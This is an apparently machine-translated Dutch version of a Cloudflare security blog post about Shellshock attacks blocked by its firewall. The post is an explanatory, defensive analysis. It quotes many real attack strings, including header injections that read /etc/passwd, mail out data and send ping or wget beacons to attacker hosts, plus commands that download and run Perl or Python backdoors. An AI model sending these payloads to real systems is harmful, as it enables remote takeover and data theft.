Inside Shellshock: hoe hackers het gebruiken om systemen

te exploiteren op woensdag van vorige week, kwamen details van de ShellShock bash bug naar voren. Deze bug begon een scramble om patch computers, servers, routers, firewalls en andere computerapparatuur met behulp van kwetsbare versies van bash.

CloudFlare heeft de bescherming voor professionele, zakelijke en zakelijke klanten onmiddellijk uitgerold via onze Firewall voor webtoepassingen. Op zondag, na het bestuderen van de omvang van het probleem, en kijken naar logs van aanvallen gestopt door onze WAF, we besloten om de uitrol van de bescherming voor onze gratis plan klanten ook.

sindsdien volgen we aanvallen die we gestopt hebben om te begrijpen hoe ze eruit zien en waar ze vandaan komen. Op basis van onze observaties is het duidelijk dat hackers Shellshock wereldwijd uitbuiten.


(CC BY 2.0 aussiegall)

Eject

Het Shellshock probleem is een voorbeeld van een willekeurige code execution (ACE) kwetsbaarheid. Typisch, ACE kwetsbaarheid aanvallen worden uitgevoerd op Programma ‘ s die worden uitgevoerd, en vereisen een zeer geavanceerd begrip van de binnenkant van de code uitvoering, geheugen lay—out, en assembly taal-Kortom, dit type aanval vereist een expert.

aanvaller zal ook een ACE-kwetsbaarheid gebruiken om een programma te uploaden of uit te voeren dat hen een eenvoudige manier geeft om de beoogde machine te controleren. Dit wordt vaak bereikt door het uitvoeren van een “shell”. Een shell is een commandoregel waar commando ‘ s kunnen worden ingevoerd en uitgevoerd.

De kwetsbaarheid van Shellshock is een groot probleem omdat het de behoefte aan gespecialiseerde kennis wegneemt en een eenvoudige (helaas zeer eenvoudige) manier biedt om de controle over een andere computer (zoals een webserver) over te nemen en deze code te laten draaien.

stel dat u een webserver wilt aanvallen en de CD – of DVD-speler wilt openen. Er is eigenlijk een commando op Linux dat dat doet: /bin/eject. Als een webserver kwetsbaar is voor Shellshock, kunt u deze aanvallen door de magische tekenreeks () { :; }; toe te voegen aan /bin/eject en dan die tekenreeks naar de doelcomputer te sturen via HTTP. Normaal gesproken zou de tekenreeks User-Agent het type browser identificeren dat u gebruikt, maar in het geval van de kwetsbaarheid van Shellshock kan deze ingesteld worden om alles te zeggen.

bijvoorbeeld, als example.com was kwetsbaar dan zou

curl -H "User-Agent: () { :; }; /bin/eject" http://example.com/

voldoende zijn om het CD-of DVD-station daadwerkelijk uit te werpen.

bij het monitoren van de Shellshock aanvallen die we hebben Geblokkeerd, hebben we eigenlijk iemand gezien die precies die aanval probeerde. Dus, als je een webserver draait en plotseling een uitgeworpen DVD vindt, kan het een indicatie zijn dat je machine kwetsbaar is voor Shellshock.

waarom die eenvoudige aanval werkt

wanneer een webserver een verzoek voor een pagina ontvangt, zijn er drie delen van het verzoek die vatbaar kunnen zijn voor de ShellShock aanval: de URL van het verzoek, de headers die samen met de URL worden verzonden, en wat bekend staat als “argumenten” (wanneer u uw naam en adres op een website invoert, worden deze meestal verzonden als argumenten in het verzoek).

bijvoorbeeld, hier is een daadwerkelijk HTTP-verzoek dat de CloudFlare-homepage opvraagt:

GET / HTTP/1.1Accept-Encoding: gzip,deflate,sdchAccept-Language: en-US,en;q=0.8,fr;q=0.6Cache-Control: no-cachePragma: no-cacheUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36Host: cloudflare.com

In dit geval is de URL / (de hoofdpagina) en de headers zijn Accept-EncodingAccept-Language, enz. Deze headers geven de webserver informatie over de mogelijkheden van mijn webbrowser, mijn voorkeurstaal, de website die ik zoek en welke browser Ik gebruik.

het is niet ongewoon dat deze variabelen in een webserver worden omgezet zodat de webserver ze kan onderzoeken. (De webserver wil misschien weten wat mijn voorkeurstaal is, zodat hij kan beslissen hoe hij op mij reageert).

bijvoorbeeld, binnen de webserver die reageert op het verzoek voor de CloudFlare-startpagina is het mogelijk dat de volgende variabelen worden gedefinieerd door de requestheaders karakter voor karakter te kopiëren.

HTTP_ACCEPT_ENCODING=gzip,deflate,sdchHTTP_ACCEPT_LANGUAGE=en-US,en;q=0.8,fr;q=0.6HTTP_CACHE_CONTROL=no-cacheHTTP_PRAGMA=no-cacheHTTP_USER_AGENT=Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36HTTP_HOST=cloudflare.com

zolang deze variabelen binnen de webserversoftware blijven en niet worden doorgegeven aan andere programma ‘ s die op de webserver draaien, is de server niet kwetsbaar.

Shellshock treedt op wanneer de variabelen worden doorgegeven aan de shell genaamd “bash”. Bash is een veel voorkomende shell gebruikt op Linux-systemen. Webservers moeten vaak andere programma ‘ s draaien om te reageren op een verzoek, en het is gebruikelijk dat deze variabelen worden doorgegeven aan bash of een andere shell.

Het Shellshock-probleem treedt specifiek op wanneer een aanvaller het HTTP-verzoek van oorsprong wijzigt om de magische () { :; }; – tekenreeks te bevatten die hierboven is besproken.

stel dat de aanvaller de User-Agent header hierboven verandert van Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36 In simpelweg () { :; }; /bin/eject. Hiermee wordt de volgende variabele in een webserver aangemaakt:

HTTP_USER_AGENT=() { :; }; /bin/eject

als die variabele wordt doorgegeven aan bash door de webserver, treedt het Shellshock probleem op. Dit komt omdat bash speciale regels heeft voor het hanteren van een variabele beginnend met () { :; };. In plaats van de variabele HTTP_USER_AGENT te behandelen als een reeks tekens zonder speciale betekenis, zal bash het interpreteren als een commando dat moet worden uitgevoerd (Ik heb de diep technische uitleg weggelaten waarom () { :; }; bash zich zo laat gedragen omwille van de duidelijkheid in dit essay.)

het probleem is dat HTTP_USER_AGENT afkomstig is van de User-Agent header die een aanvaller bestuurt omdat het in een HTTP-aanvraag op de webserver komt. En dat is een recept voor een ramp omdat een aanvaller een kwetsbare server elk commando kan laten uitvoeren dat hij wil (zie voorbeelden hieronder).

de oplossing is om bash te upgraden naar een versie die () { :; }; niet op een speciale manier interpreteert.

waar aanvallen vandaan komen

toen we protection voor alle klanten uitgerold hebben, hebben we een maatstaf ingevoerd die ons in staat stelde om het aantal pogingen tot Shellshock-aanvallen te monitoren. Ze kregen allemaal een HTTP 403 Forbidden error code, maar we hielden een logboek bij Van wanneer ze zich voordeden en basisinformatie over de aanval.

Deze grafiek toont het aantal aanvallen per seconde in het CloudFlare-netwerk sinds de uitrol van bescherming voor alle klanten.

vanaf het moment dat CloudFlare onze Shellshock bescherming inschakelde tot vanmorgen vroeg, zagen we 10 tot 15 aanvallen per seconde. In volgorde van aanvalsvolume kwamen deze verzoeken uit Frankrijk (80%), de VS (7%), Nederland (7%) en vervolgens kleinere volumes uit vele andere landen.op ongeveer 0100 Pacific (1000 in Parijs) stopten de aanvallen vanuit Frankrijk. We zien momenteel ongeveer 5 aanvallen per seconde. Op het moment van schrijven, hebben we meer dan 1.1 m Shellshock aanvallen geblokkeerd.

laat je verbeelding de vrije loop

omdat het zo gemakkelijk is om kwetsbare machines aan te vallen met Shellshock, en omdat een kwetsbare machine elk commando uitvoert dat erop wordt verzonden, hebben aanvallers hun verbeelding de vrije loop laten met manieren om computers op afstand te manipuleren.

CloudFlare ‘ s WAF logt de reden waarom het een verzoek blokkeerde waardoor we de werkelijke Shellshock strings die gebruikt worden konden extraheren en analyseren. Shellshock wordt voornamelijk gebruikt voor verkenning: om privé-informatie te extraheren, en om aanvallers de controle over servers te laten krijgen.

De meeste Shellshock commando ‘ s worden geïnjecteerd met behulp van de HTTP User-Agent en Referer headers, maar aanvallers gebruiken ook GET en POST argumenten en andere willekeurige HTTP headers.

om privé-informatie te extraheren, gebruiken aanvallers een aantal technieken. De eenvoudigste extractie aanvallen zijn in de vorm:

() {:;}; /bin/cat /etc/passwd

die het wachtwoordbestand /etc/passwd leest, en voegt het toe aan het antwoord van de webserver. Dus een aanvaller injecteren van deze code door de ShellShock kwetsbaarheid zou zien het wachtwoord bestand gedumpt op hun scherm als onderdeel van de webpagina terug.

in één aanval e-mailen ze gewoon privé bestanden naar zichzelf. Om gegevens via e-mail te ontvangen, gebruiken aanvallers het commando mail als volgt:

() { :;}; /bin/bash -c \"whoami | mail -s 'example.com l' 

dat commando start eerst whoami om de naam te achterhalen van de gebruiker die de webserver draait. Dat is vooral handig omdat als de webserver wordt uitgevoerd als root (de superuser die alles kan doen) dan zal de server een bijzonder rijk doel zijn.

Het stuurt dan de gebruikersnaam samen met de naam van de website die wordt aangevallen (example.com boven) via e-mail. De naam van de website wordt weergegeven in de onderwerpregel van de e-mail.

op hun gemak kan de aanvaller inloggen op hun e-mail en uitzoeken welke sites kwetsbaar waren. Dezelfde e-mail techniek kan worden gebruikt om gegevens zoals het wachtwoord bestand extraheren.


(CC BY 2.0 JD Hancock)

verkenning

veruit de meest populaire aanval die we hebben gezien (ongeveer 83% van alle aanvallen) wordt “verkenning”genoemd. Bij verkenningsaanvallen stuurt de aanvaller een commando dat een bericht naar een machine van derden stuurt. De derde-partij machine zal dan een lijst van alle kwetsbare machines die het hebben gecontacteerd compileren.

in het verleden hebben we lijsten gezien van gecompromitteerde machines die werden omgezet in botnets voor DDoS, spam of andere doeleinden.

een populaire verkenningstechniek gebruikt hetping commando om een kwetsbare machine een enkel pakket (Een ping genaamd) te laten sturen naar een server van een derde partij die de aanvaller bestuurt. De aanvalstring ziet er als volgt uit:

() {:;}; ping -c 1 -p cb18cb3f7bca4441a595fcc1e240deb0 attacker-machine.com

het ping commando wordt normaal gebruikt om te testen of een machine” alive ” of online is (een levende machine reageert met zijn eigen ping). Als een webserver kwetsbaar is voor Shellshock dan zal het een enkel ping pakket (de -c 1) naar attacker-machine sturen.com met een payload ingesteld door de -p. De payload is een unieke ID gemaakt door de aanvaller, zodat ze kunnen traceren de ping terug naar de kwetsbare website.

een andere techniek die wordt gebruikt om kwetsbare servers te identificeren is om de webserver een webpagina te laten downloaden van een door een aanvaller gecontroleerde machine. De aanvaller kan dan kijken in hun webserver logs om uit te vinden welke machine kwetsbaar was. Deze aanval werkt door een ShellShock string te sturen zoals:

() {:;}; /usr/bin/wget http://attacker-controlled.com/ZXhhbXBsZS5jb21TaGVsbFNob2NrU2FsdA== >> /dev/null

de aanvaller kijkt in de webserverlog van attacker-controlled.com voor inzendingen. De gedownloade pagina is ingesteld door de aanvaller te onthullen de naam van de site wordt aangevallen. De ZXhhbXBsZS5jb21TaGVsbFNob2NrU2FsdA== is eigenlijk een code die aangeeft dat de aangevallen site was example.com.

ZXhhbXBsZS5jb21TaGVsbFNob2NrU2FsdA== is eigenlijk een base64 gecodeerde tekenreeks. Als het wordt gedecodeerd, leest het:

example.comShellShockSalt

uit deze string kan de aanvaller achterhalen of zijn aanval op bijvoorbeeld.com was succesvol, en, als dat zo is, ze kunnen dan later terug te gaan om die site verder te exploiteren. Hoewel ik het domein dat het doel was heb vervangen, zien we echte voorbeelden in het wild die eigenlijk ShellShockSalt gebruiken als het zout in de hash.

Denial of Service

een andere Shellshock aanval gebruikt deze tekenreeks

() { :;}; /bin/sleep 20|/sbin/sleep 20|/usr/bin/sleep 20

het probeert het sleep commando op drie verschillende manieren uit te voeren (aangezien systemen iets verschillende configuraties hebben, kan slaap worden gevonden in de mappen /bin of /sbin or /usr/bin). Welke slaapstand het ook draait, het zorgt ervoor dat de server 20 seconden wacht voordat hij antwoordt . Dat zal bronnen op de machine verbruiken omdat een thread of proces dat sleep uitvoert, gedurende 20 seconden niets anders zal doen.

Dit is misschien wel de eenvoudigste denial-of-service van allemaal. De aanvallers vertellen de machine gewoon om een tijdje te slapen. Stuur genoeg van deze commando ‘ s, en de machine kan worden vastgebonden doen niets en niet in staat om legitieme verzoeken te bedienen.


(CC BY 2.0 peter castleton)

controle overnemen

ongeveer 8% van de aanvallen die we tot nu toe hebben gezien zijn gericht op het direct overnemen van een server. Aanvallen op afstand zien er als volgt uit:

() { :;}; /bin/bash -c \"cd /tmp;wget http://213.x.x.x/ji;curl -O /tmp/ji http://213.x.x.x/ji ; perl /tmp/ji;rm -rf /tmp/ji\"

Dit commando probeert twee programma ‘ s (wget en curl) te gebruiken om een programma te downloaden van een server die de aanvaller bestuurt. Het programma is geschreven in de Perl taal, en eenmaal gedownload wordt het onmiddellijk uitgevoerd. Dit programma stelt toegang op afstand in voor een aanvaller tot de kwetsbare webserver.

een andere aanval gebruikt de Python-taal om een programma op te zetten dat kan worden gebruikt om op afstand een commando uit te voeren op de kwetsbare machine:

() { :;}; /bin/bash -c \"/usr/bin/env curl -s http://xxxxxxxxxxxxxxx.com/cl.py > /tmp/clamd_update; chmod +x /tmp/clamd_update; /tmp/clamd_update > /dev/null& sleep 5; rm -rf /tmp/clamd_update\"

het gedownloade cl.py programma moet eruit zien als een update van het ClamAV antivirusprogramma. Na een vertraging van 5 seconden, de aanval ruimt na zichzelf door het verwijderen van het gedownloade bestand (waardoor het draait alleen in het geheugen).


(CC BY 2.0 Jeff Taylor)

Doelselectie

kijkend naar de websites die worden aangevallen, en de URL ‘ s die worden aangevraagd, is het mogelijk om een gefundeerde schatting te maken van de specifieke webapplicaties die worden aangevallen.

de top URL ‘ s die we aangevallen hebben gezien zijn: /(23.00%), /cgi-bin-SDB/printenv(15.12%), /cgi-mod/index.cgi (14,93%), /cgi-sys/entropysearch.cgi (15.20%) en /cgi-sys/defaultwebpage.cgi (14,59%). Sommige van deze URL ‘ s worden gebruikt door populaire webapplicaties en zelfs een hardware apparaat.

het lijkt erop dat 23% van de aanvallen gericht zijn tegen de cPanel Web Hosting control software, 15% tegen oude Apache installaties, en 15% tegen de Barracuda hardware producten die een web-based interface hebben.

deze laatste is interessant omdat het benadrukt dat Shellshock niet alleen een aanval op websites is: het is een aanval op alles dat bash draait en toegankelijk is over het Internet. Dat kan hardwareapparaten omvatten, settopboxen, laptopcomputers, misschien zelfs telefoons.

Geef een antwoord

Het e-mailadres wordt niet gepubliceerd.